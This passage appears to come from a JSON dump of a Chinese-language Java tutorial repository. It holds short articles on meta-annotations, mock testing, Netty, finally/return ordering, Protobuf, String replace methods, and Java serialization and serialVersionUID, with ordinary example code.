IO。\n\n前面四种IO模型实际上都属于同步IO，只有最后一种是真正的异步IO，因为无论是多路复用IO还是信号驱动模型，IO操作的第2个阶段都会引起用户线程阻塞，也就是内核进行数据拷贝的过程都会让用户线程阻塞。\n"
  },
  {
    "path": "docs/basics/java-basic/meta-annotation.md",
    "content": "说简单点，就是  定义其他注解的注解 。\n比如Override这个注解，就不是一个元注解。而是通过元注解定义出来的。\n\n    @Target(ElementType.METHOD)\n    @Retention(RetentionPolicy.SOURCE)\n    public @interface Override {\n    }\n\n这里面的\n@Target\n@Retention\n就是元注解。\n\n元注解有六个:@Target（表示该注解可以用于什么地方）、@Retention（表示再什么级别保存该注解信息）、@Documented（将此注解包含再javadoc中）、@Inherited（允许子类继承父类中的注解）、@Repeatable（1.8新增，允许一个注解在一个元素上使用多次）、@Native（1.8新增，修饰成员变量，表示这个变量可以被本地代码引用，常常被代码生成工具使用）。\n\n"
  },
  {
    "path": "docs/basics/java-basic/mock.md",
    "content": "碰撞测试是汽车开发活动中的重要组成部分。所有汽车在上市之前都要经过碰撞测试，并公布测试结果。碰撞测试的目的用于评定运输包装件在运输过程中承受多次重复性机械碰撞的耐冲击强度及包装对内装物的保护能力。说简单点就是为了测试汽车在碰撞的时候锁所产生的自身损伤、对车内人员及车外人员、物品等的损伤情况。\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2017/03/mock-193x300.jpg\" alt=\"mock\" width=\"193\" height=\"300\" class=\"aligncenter size-medium wp-image-1795\" /> 在进行汽车的碰撞测试时，当然不能让真人来进行测试，一般采用假人来测试。但是为了保证测试的真实性及可靠性，假人的生物力学性能应该和人体一样——比如身体各部分的大小和质量，以及关节的刚性等等，只有这样使用它们的模拟才能和现实相匹配。为了保证覆盖到的情况够全面，一般都会使用各种不同的假人，不同的假人模拟男性或者女性的身体，以及不同身高和年龄的人体。\n\n想想软件测试，其实和汽车的碰撞测试流程差不多。一个软件在发布上线之前都要经过各种测试，并产出测试报告，更严格的一点的要保证单测覆盖率不能低于某个值。和汽车碰撞测试类似，我们在软件测试中也会用到很多“假人”。用这些“假人”的目的也是为了保证测试有效的进行。\n\n* * *\n\n### why\n\n不知道你在日常开发中有没有遇到过以下问题或需求：\n\n1、和别人一起做同一个项目，相互之间已经约定好接口。然后你开始开发，开发完自己的代码后，你想测试下你的服务实现逻辑是否正确。但是因为你依赖的只是接口，真正的服务还有开发出来。\n\n2、还是和上面类似的场景，你要依赖的服务是通过RPC的方式调用的，而外部服务的稳定性很难保证。\n\n3、对于一个接口或者方法，你希望测试其各种不同情况，但是依赖的服务的执行策略及返回值你没办法决定。\n\n4、你依赖的服务或者对象很难创建！(比如具体的web容器)\n\n5、依赖的对象的某些行为很难触发！（比如网络异常）\n\n6、以上问题你都没有，但是你要用的那个服务他处理速度实在是太慢了。\n\n上面这些情况都是日常开发测试过程中可能遇到的比较麻烦的问题。这些问题都会大大的提高测试成本。可以说，很多开发人员不愿意写单元测试很大程度上都和以上这六点有关系。\n\n幸运的是，Mock对象可以解决以上问题。使用mock对象进行的测试就是mock测试。\n\n### what\n\nmock测试就是在测试过程中，对于某些不容易构造或者不容易获取的对象，用一个虚拟的对象来创建以便测试的测试方法。\n\nmock对象，就是非真实对象，是模拟出来的一个对象。可以理解为汽车碰撞测试的那个假人。mock对象就是真实对象在调试期间的代替品。\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2017/03/Mock1-300x196.jpg\" alt=\"Mock1\" width=\"300\" height=\"196\" class=\"aligncenter size-medium wp-image-1796\" />\n\n你创建这样一个“假人”的成本比较低，这个“假人”可以按照你设定的“剧情”来运行。\n\n在Java的单元测试中，很多Mock框架可以使用，用的比较多的有easymock、mockito、powermock、jmockit等。\n\n面向对象开发中，我们通常定义一个接口，使用一个接口来描述这个对象。在被测试代码中只是通过接口来引用对象，所以它不知道这个引用的对象是真实对象，还是mock对象。\n\n好了，这篇文章的内容差不多就这些了，主要是让大家知道，在Java中可以使用mock对象来模拟真实对象来进行单元测试，好处很多。下一篇会详细介绍如何使用mockito框架进行单元测试。"
  },
  {
    "path": "docs/basics/java-basic/netty.md",
    "content": "Netty是一个非阻塞I/O客户端-服务器框架，主要用于开发Java网络应用程序，如协议服务器和客户端。异步事件驱动的网络应用程序框架和工具用于简化网络编程，例如TCP和UDP套接字服务器。Netty包括了反应器编程模式的实现。Netty最初由JBoss开发，现在由Netty项目社区开发和维护。\n\n\n除了作为异步网络应用程序框架，Netty还包括了对HTTP、HTTP2、DNS及其他协议的支持，涵盖了在Servlet容器内运行的能力、对WebSockets的支持、与Google Protocol Buffers的集成、对SSL/TLS的支持以及对用于SPDY协议和消息压缩的支持。自2004年以来，Netty一直在被积极开发\n\n从版本4.0.0开始，Netty在支持NIO和阻塞Java套接字的同时，还支持使用NIO.2作为后端。\n\n\n本质：JBoss做的一个Jar包\n\n目的：快速开发高性能、高可靠性的网络服务器和客户端程序\n\n优点：提供异步的、事件驱动的网络应用程序框架和工具\n\n"
  },
  {
    "path": "docs/basics/java-basic/order-about-finllly-return.md",
    "content": "\n\n `try()` ⾥⾯有⼀个`return`语句， 那么后⾯的`finally{}`⾥⾯的code会不会被执⾏， 什么时候执⾏， 是在`return`前还是`return`后?\n\n\n如果try中有return语句， 那么finally中的代码还是会执⾏。因为return表⽰的是要整个⽅法体返回， 所以，finally中的语句会在return之前执⾏。\n\n但是return前执行的finally块内，对数据的修改效果对于引用类型和值类型会不同\n\n```java\n// 测试 修改值类型\nstatic int f() {\n\tint ret = 0;\n\ttry {\n\t\treturn ret;  // 返回 0，finally内的修改效果不起作用\n\t} finally {\n\t\tret++;\n\t\tSystem.out.println(\"finally执行\");\n\t}\n}\n\n// 测试 修改引用类型\nstatic int[] f2(){\n\tint[] ret = new int[]{0};\n\ttry {\n\t\treturn ret;  // 返回 [1]，finally内的修改效果起了作用\n\t} finally {\n\t\tret[0]++;\n\t\tSystem.out.println(\"finally执行\");\n\t}\n}\n```\n\n"
  },
  {
    "path": "docs/basics/java-basic/protobuf.md",
    "content": "\nProtocol Buffer (简称Protobuf) 是Google出品的性能优异、跨语言、跨平台的序列化库。\n\n2001年初，Protobuf首先在Google内部创建， 我们把它称之为 proto1，一直以来在Google的内部使用，其中也不断的演化，根据使用者的需求也添加很多新的功能，一些内部库依赖它。几乎每个Google的开发者都会使用到它。\n\nGoogle开始开源它的内部项目时，因为依赖的关系，他们决定首先把Protobuf开源出去。\n\n目前Protobuf的稳定版本是3.9.2，于2019年9月23日发布。由于很多公司很早的就采用了Protobuf，很多项目还在使用proto2协议，目前是proto2和proto3同时在使用的状态。\n\n"
  },
  {
    "path": "docs/basics/java-basic/reflection.md",
    "content": "反射机制指的是程序在运行时能够获取自身的信息。在java中，只要给定类的名字，那么就可以通过反射机制来获得类的所有属性和方法。"
  },
  {
    "path": "docs/basics/java-basic/replace-in-string.md",
    "content": "replace、replaceAll和replaceFirst是Java中常用的替换字符的方法,它们的方法定义是：\n\nreplace(CharSequence target, CharSequence replacement) ，用replacement替换所有的target，两个参数都是字符串。\n\nreplaceAll(String regex, String replacement) ，用replacement替换所有的regex匹配项，regex很明显是个正则表达式，replacement是字符串。\n\nreplaceFirst(String regex, String replacement) ，基本和replaceAll相同，区别是只替换第一个匹配项。\n\n可以看到，其中replaceAll以及replaceFirst是和正则表达式有关的，而replace和正则表达式无关。\n\nreplaceAll和replaceFirst的区别主要是替换的内容不同，replaceAll是替换所有匹配的字符，而replaceFirst()仅替换第一次出现的字符\n\n### 用法例子\n\n    String string = \"abc123adb23456aa\";\n    System.out.println(string);//abc123adb23456aa\n\n    //使用replace将a替换成H\n    System.out.println(string.replace(\"a\",\"H\"));//Hbc123Hdb23456HH\n    //使用replaceFirst将第一个a替换成H\n    System.out.println(string.replaceFirst(\"a\",\"H\"));//Hbc123adb23456aa\n    //使用replace将a替换成H\n    System.out.println(string.replaceAll(\"a\",\"H\"));//Hbc123Hdb23456HH\n\n    //使用replaceFirst将第一个数字替换成H\n    System.out.println(string.replaceFirst(\"\\\\d\",\"H\"));//abcH23adb23456aa\n    //使用replaceAll将所有数字替换成H\n    System.out.println(string.replaceAll(\"\\\\d\",\"H\"));//abcHHHadbHHHHHaa"
  },
  {
    "path": "docs/basics/java-basic/serialVersionUID-modify.md",
    "content": "关于`serialVersionUID` 。这个字段到底有什么用？如果不设置会怎么样？为什么《阿里巴巴Java开发手册》中有以下规定：\n\n![-w934][4]￼\n\n### 背景知识\n\n**Serializable 和 Externalizable**\n\n类通过实现 `java.io.Serializable` 接口以启用其序列化功能。**未实现此接口的类将无法进行序列化或反序列化。**可序列化类的所有子类型本身都是可序列化的。\n\n如果读者看过`Serializable`的源码，就会发现，他只是一个空的接口，里面什么东西都没有。**Serializable接口没有方法或字段，仅用于标识可序列化的语义。**但是，如果一个类没有实现这个接口，想要被序列化的话，就会抛出`java.io.NotSerializableException`异常。\n\n它是怎么保证只有实现了该接口的方法才能进行序列化与反序列化的呢？\n\n原因是在执行序列化的过程中，会执行到以下代码：\n\n    if (obj instanceof String) {\n        writeString((String) obj, unshared);\n    } else if (cl.isArray()) {\n        writeArray(obj, desc, unshared);\n    } else if (obj instanceof Enum) {\n        writeEnum((Enum<?>) obj, desc, unshared);\n    } else if (obj instanceof Serializable) {\n        writeOrdinaryObject(obj, desc, unshared);\n    } else {\n        if (extendedDebugInfo) {\n            throw new NotSerializableException(\n                cl.getName() + \"\\n\" + debugInfoStack.toString());\n        } else {\n            throw new NotSerializableException(cl.getName());\n        }\n    }\n\n\n在进行序列化操作时，会判断要被序列化的类是否是`Enum`、`Array`和`Serializable`类型，如果都不是则直接抛出`NotSerializableException`。\n\nJava中还提供了`Externalizable`接口，也可以实现它来提供序列化能力。\n\n`Externalizable`继承自`Serializable`，该接口中定义了两个抽象方法：`writeExternal()`与`readExternal()`。\n\n当使用`Externalizable`接口来进行序列化与反序列化的时候需要开发人员重写`writeExternal()`与`readExternal()`方法。否则所有变量的值都会变成默认值。\n\n**transient**\n\n`transient` 关键字的作用是控制变量的序列化，在变量声明前加上该关键字，可以阻止该变量被序列化到文件中，在被反序列化后，`transient` 变量的值被设为初始值，如 int 型的是 0，对象型的是 null。\n\n**自定义序列化策略**\n\n在序列化过程中，如果被序列化的类中定义了`writeObject` 和 `readObject` 方法，虚拟机会试图调用对象类里的 `writeObject` 和 `readObject` 方法，进行用户自定义的序列化和反序列化。\n\n如果没有这样的方法，则默认调用是 `ObjectOutputStream` 的 `defaultWriteObject` 方法以及 `ObjectInputStream` 的 `defaultReadObject` 方法。\n\n用户自定义的 `writeObject` 和 `readObject` 方法可以允许用户控制序列化的过程，比如可以在序列化的过程中动态改变序列化的数值。\n\n所以，对于一些特殊字段需要定义序列化的策略的时候，可以考虑使用transient修饰，并自己重写`writeObject` 和 `readObject` 方法，如`java.util.ArrayList`中就有这样的实现。\n\n我们随便找几个Java中实现了序列化接口的类，如String、Integer等，我们可以发现一个细节，那就是这些类除了实现了`Serializable`外，还定义了一个`serialVersionUID` ![][5]￼\n\n那么，到底什么是`serialVersionUID`呢？为什么要设置这样一个字段呢？\n\n### 什么是serialVersionUID\n\n序列化是将对象的状态信息转换为可存储或传输的形式的过程。我们都知道，Java对象是保存在JVM的堆内存中的，也就是说，如果JVM堆不存在了，那么对象也就跟着消失了。\n\n而序列化提供了一种方案，可以让你在即使JVM停机的情况下也能把对象保存下来的方案。就像我们平时用的U盘一样。把Java对象序列化成可存储或传输的形式（如二进制流），比如保存在文件中。这样，当再次需要这个对象的时候，从文件中读取出二进制流，再从二进制流中反序列化出对象。\n\n虚拟机是否允许反序列化，不仅取决于类路径和功能代码是否一致，一个非常重要的一点是两个类的序列化 ID 是否一致，这个所谓的序列化ID，就是我们在代码中定义的`serialVersionUID`。\n\n### 如果serialVersionUID变了会怎样\n\n我们举个例子吧，看看如果`serialVersionUID`被修改了会发生什么？\n\n    public class SerializableDemo1 {\n        public static void main(String[] args) {\n            //Initializes The Object\n            User1 user = new User1();\n            user.setName(\"hollis\");\n            //Write Obj to File\n            ObjectOutputStream oos = null;\n            try {\n                oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n                oos.writeObject(user);\n            } catch (IOException e) {\n                e.printStackTrace();\n            } finally {\n                IOUtils.closeQuietly(oos);\n            }\n        }\n    }\n\n    class User1 implements Serializable {\n        private static final long serialVersionUID = 1L;\n        private String name;\n        public String getName() {\n            return name;\n        }\n        public void setName(String name) {\n            this.name = name;\n        }\n     }\n\n\n我们先执行以上代码，把一个User1对象写入到文件中。然后我们修改一下User1类，把`serialVersionUID`的值改为`2L`。\n\n    class User1 implements Serializable {\n        private static final long serialVersionUID = 2L;\n        private String name;\n        public String getName() {\n            return name;\n        }\n        public void setName(String name) {\n            this.name = name;\n        }\n    }\n\n\n然后执行以下代码，把文件中的对象反序列化出来：\n\n    public class SerializableDemo2 {\n        public static void main(String[] args) {\n            //Read Obj from File\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois = null;\n            try {\n                ois = new ObjectInputStream(new FileInputStream(file));\n                User1 newUser = (User1) ois.readObject();\n                System.out.println(newUser);\n            } catch (IOException e) {\n                e.printStackTrace();\n            } catch (ClassNotFoundException e) {\n                e.printStackTrace();\n            } finally {\n                IOUtils.closeQuietly(ois);\n                try {\n                    FileUtils.forceDelete(file);\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n    }\n\n\n执行结果如下：\n\n    java.io.InvalidClassException: com.hollis.User1; local class incompatible: stream classdesc serialVersionUID = 1, local class serialVersionUID = 2\n\n\n可以发现，以上代码抛出了一个`java.io.InvalidClassException`，并且指出`serialVersionUID`不一致。\n\n这是因为，在进行反序列化时，JVM会把传来的字节流中的`serialVersionUID`与本地相应实体类的`serialVersionUID`进行比较，如果相同就认为是一致的，可以进行反序列化，否则就会出现序列化版本不一致的异常，即是`InvalidCastException`。\n\n这也是《阿里巴巴Java开发手册》中规定，在兼容性升级中，在修改类的时候，不要修改`serialVersionUID`的原因。**除非是完全不兼容的两个版本**。所以，**`serialVersionUID`其实是验证版本一致性的。**\n\n如果读者感兴趣，可以把各个版本的JDK代码都拿出来看一下，那些向下兼容的类的`serialVersionUID`是没有变化过的。比如String类的`serialVersionUID`一直都是`-6849794470754667710L`。\n\n但是，作者认为，这个规范其实还可以再严格一些，那就是规定：\n\n如果一个类实现了`Serializable`接口，就必须手动添加一个`private static final long serialVersionUID`变量，并且设置初始值。\n\n### 为什么要明确定一个serialVersionUID\n\n如果我们没有在类中明确的定义一个`serialVersionUID`的话，看看会发生什么。\n\n尝试修改上面的demo代码，先使用以下类定义一个对象，该类中不定义`serialVersionUID`，将其写入文件。\n\n    class User1 implements Serializable {\n        private String name;\n        public String getName() {\n            return name;\n        }\n        public void setName(String name) {\n            this.name = name;\n        }\n     }\n\n\n然后我们修改User1类，向其中增加一个属性。在尝试将其从文件中读取出来，并进行反序列化。\n\n    class User1 implements Serializable {\n        private String name;\n        private int age;\n        public String getName() {\n            return name;\n        }\n        public void setName(String name) {\n            this.name = name;\n        }\n        public int getAge() {\n            return age;\n        }\n        public void setAge(int age) {\n            this.age = age;\n        }\n     }\n\n\n执行结果： `java.io.InvalidClassException: com.hollis.User1; local class incompatible: stream classdesc serialVersionUID = -2986778152837257883, local class serialVersionUID = 7961728318907695402`\n\n同样，抛出了`InvalidClassException`，并且指出两个`serialVersionUID`不同，分别是`-2986778152837257883`和`7961728318907695402`。\n\n从这里可以看出，系统自己添加了一个`serialVersionUID`。\n\n所以，一旦类实现了`Serializable`，就建议明确的定义一个`serialVersionUID`。不然在修改类的时候，就会发生异常。\n\n`serialVersionUID`有两种显示的生成方式：\n一是默认的1L，比如：`private static final long serialVersionUID = 1L;`\n二是根据类名、接口名、成员方法及属性等来生成一个64位的哈希字段，比如：\n`private static final  long   serialVersionUID = xxxxL;`\n\n后面这种方式，可以借助IDE生成，后面会介绍。\n\n### 背后原理\n\n知其然，要知其所以然，我们再来看看源码，分析一下为什么`serialVersionUID`改变的时候会抛异常？在没有明确定义的情况下，默认的`serialVersionUID`是怎么来的？\n\n为了简化代码量，反序列化的调用链如下：\n\n`ObjectInputStream.readObject -> readObject0 -> readOrdinaryObject -> readClassDesc -> readNonProxyDesc -> ObjectStreamClass.initNonProxy`\n\n在`initNonProxy`中 ，关键代码如下：\n\n![][6]￼\n\n在反序列化过程中，对`serialVersionUID`做了比较，如果发现不相等，则直接抛出异常。\n\n深入看一下`getSerialVersionUID`方法：\n\n    public long getSerialVersionUID() {\n        // REMIND: synchronize instead of relying on volatile?\n        if (suid == null) {\n            suid = AccessController.doPrivileged(\n                new PrivilegedAction<Long>() {\n                    public Long run() {\n                        return computeDefaultSUID(cl);\n                    }\n                }\n            );\n        }\n        return suid.longValue();\n    }\n\n\n在没有定义`serialVersionUID`的时候，会调用`computeDefaultSUID` 方法，生成一个默认的`serialVersionUID`。\n\n这也就找到了以上两个问题的根源，其实是代码中做了严格的校验。\n\n### IDEA提示\n\n为了确保我们不会忘记定义`serialVersionUID`，可以调节一下Intellij IDEA的配置，在实现`Serializable`接口后，如果没定义`serialVersionUID`的话，IDEA（eclipse一样）会进行提示： ![][7]￼\n\n并且可以一键生成一个：\n\n![][8]￼\n\n当然，这个配置并不是默认生效的，需要手动到IDEA中设置一下：\n\n![][9]￼\n\n在图中标号3的地方（Serializable class without serialVersionUID的配置），打上勾，保存即可。\n\n### 总结\n\n`serialVersionUID`是用来验证版本一致性的。所以在做兼容性升级的时候，不要改变类中`serialVersionUID`的值。\n\n如果一个类实现了Serializable接口，一定要记得定义`serialVersionUID`，否则会发生异常。可以在IDE中通过设置，让他帮忙提示，并且可以一键快速生成一个`serialVersionUID`。\n\n之所以会发生异常，是因为反序列化过程中做了校验，并且如果没有明确定义的话，会根据类的属性自动生成一个。\n\n [1]: http://www.hollischuang.com/archives/1150\n [2]: http://www.hollischuang.com/archives/1140\n [3]: http://www.hollischuang.com/archives/1144\n [4]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455608799770.jpg\n [5]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455622116411.jpg\n [6]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455655236269.jpg\n [7]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455657868672.jpg\n [8]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455658088098.jpg\n [9]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455659620042.jpg"
  },
  {
    "path": "docs/basics/java-basic/serialVersionUID.md",
    "content": "序列化是将对象的状态信息转换为可存储或传输的形式的过程。 \n\n我们都知道， Java对象是保存在JVM的堆内存中的， 也就是说， 如果JVM堆不存在了， 那么对象也就跟着消失了。 \n\n⽽序列化提供了⼀种⽅案， 可以让你在即使JVM停机的情况下也能把对象保存下来的⽅案。 就像我们平时⽤的U盘⼀样。 把Java对象序列化成可存储或传输的形式（ 如⼆进制流） ， ⽐如保存在⽂件中。 这样， 当再次需要这个对象的时候， 从⽂件中读取出⼆进制流， 再从⼆进制流中反序列化出对象。\n\n\n但是， 虚拟机是否允许反序列化， 不仅取决于类路径和功能代码是否⼀致， ⼀个⾮常重要的⼀点是两个类的序列化 ID 是否⼀致， 即`serialVersionUID`要求⼀致。\n\n\n在进⾏反序列化时， JVM会把传来的字节流中的`serialVersionUID`与本地相应实体类的`serialVersionUID`进⾏⽐较， 如果相同就认为是⼀致的， 可以进⾏反序列化， 否则就会出现序列化版本不⼀致的异常， 即是`InvalidCastException`。\n \n这样做是为了保证安全， 因为⽂件存储中的内容可能被篡改。\n\n\n当实现`java.io.Serializable`接口的类没有显式地定义⼀个`serialVersionUID`变量时候， Java序列化机制会根据编译的Class⾃动⽣成⼀个`serialVersionUID`作序列化版本⽐较⽤， 这种情况下， 如果Class⽂件没有发⽣变化， 就算再编译多\n次， serialVersionUID也不会变化的。 \n\n但是， 如果发⽣了变化，那么这个⽂件对应的`serialVersionUID`也就会发⽣变化。\n\n基于以上原理， 如果我们⼀个类实现了Serializable接口， 但是没有定义`serialVersionUID`， 然后序列化。 在序列化之后， 由于某些原因， 我们对该类做了变更， 重新启动应⽤后， 我们相对之前序列化过的对象进⾏反序列化的话就会报错"
  },
  {
    "path": "docs/basics/java-basic/serialize-in-java.md",
    "content": "\n## Java对象的序列化与反序列化\n\n在Java中，我们可以通过多种方式来创建对象，并且只要对象没有被回收我们都可以复用该对象。但是，我们创建出来的这些Java对象都是存在于JVM的堆内存中的。只有JVM处于运行状态的时候，这些对象才可能存在。一旦JVM停止运行，这些对象的状态也就随之而丢失了。\n\n但是在真实的应用场景中，我们需要将这些对象持久化下来，并且能够在需要的时候把对象重新读取出来。Java的对象序列化可以帮助我们实现该功能。\n\n对象序列化机制（object serialization）是Java语言内建的一种对象持久化方式，通过对象序列化，可以把对象的状态保存为字节数组，并且可以在有需要的时候将这个字节数组通过反序列化的方式再转换成对象。对象序列化可以很容易的在JVM中的活动对象和字节数组（流）之间进行转换。\n\n在Java中，对象的序列化与反序列化被广泛应用到RMI(远程方法调用)及网络传输中。\n\n## 相关接口及类\n\nJava为了方便开发人员将Java对象进行序列化及反序列化提供了一套方便的API来支持。其中包括以下接口和类：\n\n> java.io.Serializable\n> \n> java.io.Externalizable\n> \n> ObjectOutput\n> \n> ObjectInput\n> \n> ObjectOutputStream\n> \n> ObjectInputStream\n\n## Serializable 接口\n\n类通过实现 `java.io.Serializable` 接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。**序列化接口没有方法或字段，仅用于标识可序列化的语义。** ([该接口并没有方法和字段，为什么只有实现了该接口的类的对象才能被序列化呢？][1])\n\n当试图对一个对象进行序列化的时候，如果遇到不支持 Serializable 接口的对象。在此情况下，将抛出 `NotSerializableException`。\n\n如果要序列化的类有父类，要想同时将在父类中定义过的变量持久化下来，那么父类也应该集成`java.io.Serializable`接口。\n\n下面是一个实现了`java.io.Serializable`接口的类\n\n    package com.hollischaung.serialization.SerializableDemos;\n    import java.io.Serializable;\n    /**\n     * Created by hollis on 16/2/17.\n     * 实现Serializable接口\n     */\n    public class User1 implements Serializable {\n    \n        private String name;\n        private int age;\n    \n        public String getName() {\n            return name;\n        }\n    \n        public void setName(String name) {\n            this.name = name;\n        }\n    \n        public int getAge() {\n            return age;\n        }\n    \n        public void setAge(int age) {\n            this.age = age;\n        }\n    \n        @Override\n        public String toString() {\n            return \"User{\" +\n                    \"name='\" + name + '\\'' +\n                    \", age=\" + age +\n                    '}';\n        }\n    }\n    \n\n通过下面的代码进行序列化及反序列化\n\n    package com.hollischaung.serialization.SerializableDemos;\n    \n    import org.apache.commons.io.FileUtils;\n    import org.apache.commons.io.IOUtils;\n    \n    import java.io.*;\n    /**\n     * Created by hollis on 16/2/17.\n     * SerializableDemo1 结合SerializableDemo2说明 一个类要想被序列化必须实现Serializable接口\n     */\n    public class SerializableDemo1 {\n    \n        public static void main(String[] args) {\n            //Initializes The Object\n            User1 user = new User1();\n            user.setName(\"hollis\");\n            user.setAge(23);\n            System.out.println(user);\n    \n            //Write Obj to File\n            ObjectOutputStream oos = null;\n            try {\n                oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n                oos.writeObject(user);\n            } catch (IOException e) {\n                e.printStackTrace();\n            } finally {\n                IOUtils.closeQuietly(oos);\n            }\n    \n            //Read Obj from File\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois = null;\n            try {\n                ois = new ObjectInputStream(new FileInputStream(file));\n                User1 newUser = (User1) ois.readObject();\n                System.out.println(newUser);\n            } catch (IOException e) {\n                e.printStackTrace();\n            } catch (ClassNotFoundException e) {\n                e.printStackTrace();\n            } finally {\n                IOUtils.closeQuietly(ois);\n                try {\n                    FileUtils.forceDelete(file);\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n    \n        }\n    }\n    \n    //OutPut:\n    //User{name='hollis', age=23}\n    //User{name='hollis', age=23}\n    \n\n\n## Externalizable接口\n\n除了Serializable 之外，java中还提供了另一个序列化接口`Externalizable`\n\n为了了解Externalizable接口和Serializable接口的区别，先来看代码，我们把上面的代码改成使用Externalizable的形式。\n\n    package com.hollischaung.serialization.ExternalizableDemos;\n    \n    import java.io.Externalizable;\n    import java.io.IOException;\n    import java.io.ObjectInput;\n    import java.io.ObjectOutput;\n    \n    /**\n     * Created by hollis on 16/2/17.\n     * 实现Externalizable接口\n     */\n    public class User1 implements Externalizable {\n    \n        private String name;\n        private int age;\n    \n        public String getName() {\n            return name;\n        }\n    \n        public void setName(String name) {\n            this.name = name;\n        }\n    \n        public int getAge() {\n            return age;\n        }\n    \n        public void setAge(int age) {\n            this.age = age;\n        }\n    \n        public void writeExternal(ObjectOutput out) throws IOException {\n    \n        }\n    \n        public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {\n    \n        }\n    \n        @Override\n        public String toString() {\n            return \"User{\" +\n                    \"name='\" + name + '\\'' +\n                    \", age=\" + age +\n                    '}';\n        }\n    }\n    \n\n \n\n    package com.hollischaung.serialization.ExternalizableDemos;\n    \n    import java.io.*;\n    \n    /**\n     * Created by hollis on 16/2/17.\n     */\n    public class ExternalizableDemo1 {\n    \n        //为了便于理解和节省篇幅，忽略关闭流操作及删除文件操作。真正编码时千万不要忘记\n        //IOException直接抛出\n        public static void main(String[] args) throws IOException, ClassNotFoundException {\n            //Write Obj to file\n            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n            User1 user = new User1();\n            user.setName(\"hollis\");\n            user.setAge(23);\n            oos.writeObject(user);\n            //Read Obj from file\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois =  new ObjectInputStream(new FileInputStream(file));\n            User1 newInstance = (User1) ois.readObject();\n            //output\n            System.out.println(newInstance);\n        }\n    }\n    //OutPut:\n    //User{name='null', age=0}\n    \n\n通过上面的实例可以发现，对User1类进行序列化及反序列化之后得到的对象的所有属性的值都变成了默认值。也就是说，之前的那个对象的状态并没有被持久化下来。这就是Externalizable接口和Serializable接口的区别：\n\nExternalizable继承了Serializable，该接口中定义了两个抽象方法：`writeExternal()`与`readExternal()`。当使用Externalizable接口来进行序列化与反序列化的时候需要开发人员重写`writeExternal()`与`readExternal()`方法。由于上面的代码中，并没有在这两个方法中定义序列化实现细节，所以输出的内容为空。还有一点值得注意：在使用Externalizable进行序列化的时候，在读取对象时，会调用被序列化类的无参构造器去创建一个新的对象，然后再将被保存对象的字段的值分别填充到新对象中。所以，实现Externalizable接口的类必须要提供一个public的无参的构造器。\n\n按照要求修改之后代码如下：\n\n    package com.hollischaung.serialization.ExternalizableDemos;\n    \n    import java.io.Externalizable;\n    import java.io.IOException;\n    import java.io.ObjectInput;\n    import java.io.ObjectOutput;\n    \n    /**\n     * Created by hollis on 16/2/17.\n     * 实现Externalizable接口,并实现writeExternal和readExternal方法\n     */\n    public class User2 implements Externalizable {\n    \n        private String name;\n        private int age;\n    \n        public String getName() {\n            return name;\n        }\n    \n        public void setName(String name) {\n            this.name = name;\n        }\n    \n        public int getAge() {\n            return age;\n        }\n    \n        public void setAge(int age) {\n            this.age = age;\n        }\n    \n        public void writeExternal(ObjectOutput out) throws IOException {\n            out.writeObject(name);\n            out.writeInt(age);\n        }\n    \n        public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {\n            name = (String) in.readObject();\n            age = in.readInt();\n        }\n    \n        @Override\n        public String toString() {\n            return \"User{\" +\n                    \"name='\" + name + '\\'' +\n                    \", age=\" + age +\n                    '}';\n        }\n    }\n    \n\n \n\n    package com.hollischaung.serialization.ExternalizableDemos;\n    \n    import java.io.*;\n    \n    /**\n     * Created by hollis on 16/2/17.\n     */\n    public class ExternalizableDemo2 {\n    \n        //为了便于理解和节省篇幅，忽略关闭流操作及删除文件操作。真正编码时千万不要忘记\n        //IOException直接抛出\n        public static void main(String[] args) throws IOException, ClassNotFoundException {\n            //Write Obj to file\n            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n            User2 user = new User2();\n            user.setName(\"hollis\");\n            user.setAge(23);\n            oos.writeObject(user);\n            //Read Obj from file\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois =  new ObjectInputStream(new FileInputStream(file));\n            User2 newInstance = (User2) ois.readObject();\n            //output\n            System.out.println(newInstance);\n        }\n    }\n    //OutPut:\n    //User{name='hollis', age=23}\n    \n\n这次，就可以把之前的对象状态持久化下来了。\n\n> 如果User类中没有无参数的构造函数，在运行时会抛出异常：`java.io.InvalidClassException`\n\n\n## 参考资料\n\n[维基百科][6]\n\n[理解Java对象序列化][7]\n\n[Java 序列化的高级认识][8]\n\n## 推荐阅读\n\n[深入分析Java的序列化与反序列化][4]\n\n[单例与序列化的那些事儿][5]\n\n [1]: http://www.hollischuang.com/archives/1140#What%20Serializable%20Did\n [2]: https://github.com/hollischuang/java-demo/tree/master/src/main/java/com/hollischaung/serialization/SerializableDemos\n [3]: https://github.com/hollischuang/java-demo/tree/master/src/main/java/com/hollischaung/serialization/ExternalizableDemos\n [4]: http://www.hollischuang.com/archives/1140\n [5]: http://www.hollischuang.com/archives/1144\n [6]: https://zh.wikipedia.org/wiki/序列化\n [7]: http://www.blogjava.net/jiangshachina/archive/2012/02/13/369898.html\n [8]: https://www.ibm.com/developerworks/cn/java/j-lo-serial/"
  },
  {
    "path": "docs/basics/java-basic/serialize-principle.md",
